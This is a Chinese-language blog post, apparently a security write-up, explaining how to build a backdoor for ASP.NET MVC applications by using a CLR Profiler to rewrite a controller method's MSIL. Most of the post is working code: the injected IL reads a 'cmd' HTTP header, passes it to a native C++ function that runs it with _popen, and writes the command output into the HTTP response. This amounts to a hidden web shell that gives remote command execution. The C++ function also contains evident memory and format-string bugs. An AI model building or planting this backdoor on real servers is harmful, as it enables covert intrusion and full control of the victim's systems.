针对ASP.NET MVC程序的CLR Profiler后门程序编写
一、文章前述
关于CLR Profiler的基础部分我上篇文章已经讲过了,具体可以去看看
https://www.cnblogs.com/wh4am1/p/15143698.html
直接进入正文部分
二、重写MSIL部分
这次爬坑也挺久的,请教了公司的同事,最后经过多次调试之后总算把demo做出来了。因为国内外针对这方面的文档确实很少,之能靠自己一步步调试和定位错误原因,不过好在最终还是达到了预期的目标。
源代码还是跟上篇文章一样,这次我直接织入到一个Controller的方法中,并获取Headers头的cmd参数,执行命令之后返回到Response上。
首先第一件事就是获取所需要调用的函数的程序集引用
ASSEMBLYMETADATA assemblyMetadata = { 0 }; assemblyMetadata.usMajorVersion = 4; assemblyMetadata.usMinorVersion = 0; assemblyMetadata.usBuildNumber = 0; assemblyMetadata.usRevisionNumber = 0; BYTE WebpublicKey[] = { 0xb0, 0x3f, 0x5f, 0x7f, 0x11, 0xd5, 0x0a, 0x3a }; //b03f5f7f11d50a3a mdAssemblyRef mscorlibAssemblyRef; IMetaDataAssemblyEmit* metaDataAssemblyEmit = NULL; IfFailRet(metaDataEmit->QueryInterface(IID_IMetaDataAssemblyEmit, (void**)&metaDataAssemblyEmit)); IfFailRet(metaDataAssemblyEmit->DefineAssemblyRef( WebpublicKey, sizeof(WebpublicKey), L"System.Web", &assemblyMetadata, nullptr, 0, 0, &mscorlibAssemblyRef)); ASSEMBLYMETADATA assemblyMetadata1 = { 0 }; assemblyMetadata1.usMajorVersion = 4; assemblyMetadata1.usMinorVersion = 0; assemblyMetadata1.usBuildNumber = 0; assemblyMetadata1.usRevisionNumber = 0; BYTE SystempublicKey[] = { 0xb7, 0x7a, 0x5c, 0x56, 0x19, 0x34, 0xe0, 0x89 }; //b77a5c561934e089 mdAssemblyRef mscorlibAssemblyRef2; IfFailRet(metaDataEmit->QueryInterface(IID_IMetaDataAssemblyEmit, (void**)&metaDataAssemblyEmit)); IfFailRet(metaDataAssemblyEmit->DefineAssemblyRef( SystempublicKey, sizeof(SystempublicKey), L"System", &assemblyMetadata1, nullptr, 0, 0, &mscorlibAssemblyRef2)); BYTE rSig[] = { IMAGE_CEE_CS_CALLCONV_HASTHIS, 0, // Number of parameters ELEMENT_TYPE_CLASS, 0, 0, 0, 0, // Return value 0 // parameter list must end with 0 }; ASSEMBLYMETADATA Mvcassembly = { 0 }; Mvcassembly.usMajorVersion = 5; Mvcassembly.usMinorVersion = 2; Mvcassembly.usBuildNumber = 4; Mvcassembly.usRevisionNumber = 0; BYTE publicKey[] = { 0x31, 0xbf, 0x38, 0x56, 0xad, 0x36, 0x4e, 0x35 }; //31bf3856ad364e35 BYTE MVCrSig[] = { IMAGE_CEE_CS_CALLCONV_HASTHIS, 0, // Number of parameters ELEMENT_TYPE_CLASS, 0, 0, 0, 0, // Return Class 0 // parameter list must end with 0 }; mdAssemblyRef MvcmscorlibAssemblyRef; IfFailRet(metaDataAssemblyEmit->DefineAssemblyRef( publicKey, sizeof(publicKey), L"System.Web.Mvc", &Mvcassembly, nullptr, 0, 0, &MvcmscorlibAssemblyRef));
有了这些引用之后就可以重写对应的IL,并调用对应的函数获取返回值
因为我需要将Headers头中的参数传入到对应的cmd执行函数里面去,所以伪代码大致如下:
Response.Write(EnterExecCMD(Request.Headers["cmd"]))
其对应的IL代码如下:
IL_00c2: ldarg.0 IL_00c3: call instance class [System.Web]System.Web.HttpResponseBase [System.Web.Mvc]System.Web.Mvc.Controller::get_Response() IL_00c8: ldarg.0 IL_00c9: call instance class [System.Web]System.Web.HttpRequestBase [System.Web.Mvc]System.Web.Mvc.Controller::get_Request() IL_00ce: callvirt instance class [System]System.Collections.Specialized.NameValueCollection [System.Web]System.Web.HttpRequestBase::get_Headers() IL_00d3: ldstr "cmd" IL_00d8: callvirt instance string [System]System.Collections.Specialized.NameValueCollection::get_Item(string) //此处是调用EnterExecCMD函数的地方 IL_00dd: callvirt instance void [System.Web]System.Web.HttpResponseBase::Write(string)
所以之后的IL重写代码如下:
pNewInstr = pilr->NewILInstr(); pNewInstr->m_opcode = CEE_NOP; pilr->InsertBefore(pInsertProbeBeforeThisInstr, pNewInstr); pNewInstr = pilr->NewILInstr(); pNewInstr->m_opcode = CEE_LDARG_0; pilr->InsertBefore(pInsertProbeBeforeThisInstr, pNewInstr); mdTypeRef retType; IfFailRet(metaDataEmit->DefineTypeRefByName(mscorlibAssemblyRef, L"System.Web.HttpResponseBase", &retType)); IfFailRet(metaDataEmit->DefineTypeRefByName(MvcmscorlibAssemblyRef, L"System.Web.Mvc.Controller", &typeRef)); ulTokenLength = CorSigCompressToken(retType, &MVCrSig[3]); ulSigLength = 3 + ulTokenLength; IfFailRet(metaDataEmit->DefineMemberRef(typeRef, L"get_Response", MVCrSig, ulSigLength, &MemberRef)); pNewInstr = pilr->NewILInstr(); pNewInstr->m_opcode = CEE_CALL; pNewInstr->m_Arg32 = MemberRef; pilr->InsertBefore(pInsertProbeBeforeThisInstr, pNewInstr); pNewInstr = pilr->NewILInstr(); pNewInstr->m_opcode = CEE_LDARG_0; pilr->InsertBefore(pInsertProbeBeforeThisInstr, pNewInstr); IfFailRet(metaDataEmit->DefineTypeRefByName(mscorlibAssemblyRef, L"System.Web.HttpRequestBase", &retType)); IfFailRet(metaDataEmit->DefineTypeRefByName(MvcmscorlibAssemblyRef, L"System.Web.Mvc.Controller", &typeRef)); ulTokenLength = CorSigCompressToken(retType, &MVCrSig[3]); ulSigLength = 3 + ulTokenLength; IfFailRet(metaDataEmit->DefineMemberRef(typeRef, L"get_Request", MVCrSig, ulSigLength, &MemberRef)); pNewInstr = pilr->NewILInstr(); pNewInstr->m_opcode = CEE_CALL; pNewInstr->m_Arg32 = MemberRef; pilr->InsertBefore(pInsertProbeBeforeThisInstr, pNewInstr); IfFailRet(metaDataEmit->DefineTypeRefByName(mscorlibAssemblyRef2, L"System.Collections.Specialized.NameValueCollection", &retType)); mdTypeRef typeRef1 = mdTypeRefNil; mdMemberRef MemberRef1 = mdMemberRefNil; IfFailRet(metaDataEmit->DefineTypeRefByName(mscorlibAssemblyRef, L"System.Web.HttpRequestBase", &typeRef1)); ulTokenLength = CorSigCompressToken(retType, &rSig[3]); ulSigLength = 3 + ulTokenLength; IfFailRet(metaDataEmit->DefineMemberRef(typeRef1, L"get_Headers", rSig, ulSigLength, &MemberRef1)); pNewInstr = pilr->NewILInstr(); pNewInstr->m_opcode = CEE_CALLVIRT; pNewInstr->m_Arg32 = MemberRef1; pilr->InsertBefore(pInsertProbeBeforeThisInstr, pNewInstr); auto localstring = L"cmd"; auto localsize = lstrlenW(localstring); mdToken stringToken; IfFailRet(metaDataEmit->DefineUserString(localstring, localsize, &stringToken)); pNewInstr = pilr->NewILInstr(); pNewInstr->m_opcode = CEE_LDSTR; pNewInstr->m_Arg32 = stringToken; //"cmd" pilr->InsertBefore(pInsertProbeBeforeThisInstr, pNewInstr); BYTE rSig_Item[] = { IMAGE_CEE_CS_CALLCONV_HASTHIS, 0x01, ELEMENT_TYPE_STRING, ELEMENT_TYPE_STRING }; mdTypeRef typeRef2 = mdTypeRefNil; mdMemberRef MemberRef2 = mdMemberRefNil; IfFailRet(metaDataEmit->DefineTypeRefByName(mscorlibAssemblyRef2, L"System.Collections.Specialized.NameValueCollection", &typeRef2)); IfFailRet(metaDataEmit->DefineMemberRef(typeRef2, L"get_Item", rSig_Item, sizeof(rSig_Item), &MemberRef2)); pNewInstr = pilr->NewILInstr(); pNewInstr->m_opcode = CEE_CALLVIRT; pNewInstr->m_Arg32 = MemberRef2; pilr->InsertBefore(pInsertProbeBeforeThisInstr, pNewInstr); pNewInstr = pilr->NewILInstr(); pNewInstr->m_opcode = CEE_LDC_I; pNewInstr->m_Arg64 = methodAddress; pilr->InsertBefore(pInsertProbeBeforeThisInstr, pNewInstr); pNewInstr = pilr->NewILInstr(); pNewInstr->m_opcode = CEE_CALLI; pNewInstr->m_Arg32 = methodSignature; pilr->InsertBefore(pInsertProbeBeforeThisInstr, pNewInstr); BYTE rSig_Write[] = { IMAGE_CEE_CS_CALLCONV_HASTHIS, 0x01, ELEMENT_TYPE_VOID, ELEMENT_TYPE_STRING }; IfFailRet(metaDataEmit->DefineTypeRefByName(mscorlibAssemblyRef, L"System.Web.HttpResponseBase", &typeRef1)); IfFailRet(metaDataEmit->DefineMemberRef(typeRef1, L"Write", rSig_Write, sizeof(rSig_Write), &MemberRef1)); pNewInstr = pilr->NewILInstr(); pNewInstr->m_opcode = CEE_CALLVIRT; pNewInstr->m_Arg32 = MemberRef1; pilr->InsertBefore(pInsertProbeBeforeThisInstr, pNewInstr); pNewInstr = pilr->NewILInstr(); pNewInstr->m_opcode = CEE_NOP; pilr->InsertBefore(pInsertProbeBeforeThisInstr, pNewInstr);
在重写的时候调用函数会用DefineMemberRef来找到对应的函数引用,但因为是本地引用的base对象,所以此处应该要用IMAGE_CEE_CS_CALLCONV_HASTHIS修饰,不然会报对应的方法找不到,这个问题一直困扰了我很久,最后看了很多代码和文库才知道是要这么写- -
而其中的EnterExecCMD函数是用C++编写的,实现代码如下:
static char* STDMETHODCALLTYPE Enter(char* arg0) { if (arg0 && *arg0 != '\0') { int iRet = 0; char buf_ps[4096]; char ps[1024] = { 0 }; char ret[4096]; FILE *ptr; sprintf(ps, arg0); if ((ptr = _popen(ps, "r")) != NULL) { while (fgets(buf_ps, sizeof(buf_ps), ptr) != NULL) { strcat(ret, buf_ps); if (strlen(ret) > 4096) { break; } } _pclose(ptr); ptr = NULL; iRet = 1; // 处理成功 } else { iRet = 0; // 处理失败 } if (iRet) { return buf_ps; } else { return (char*)"Run Command Error"; } } }
附上最后测试的图,在请求的时候Header头上cmd参数写入要执行的cmd命令即可:
Reference:
https://www.anquanke.com/post/id/256110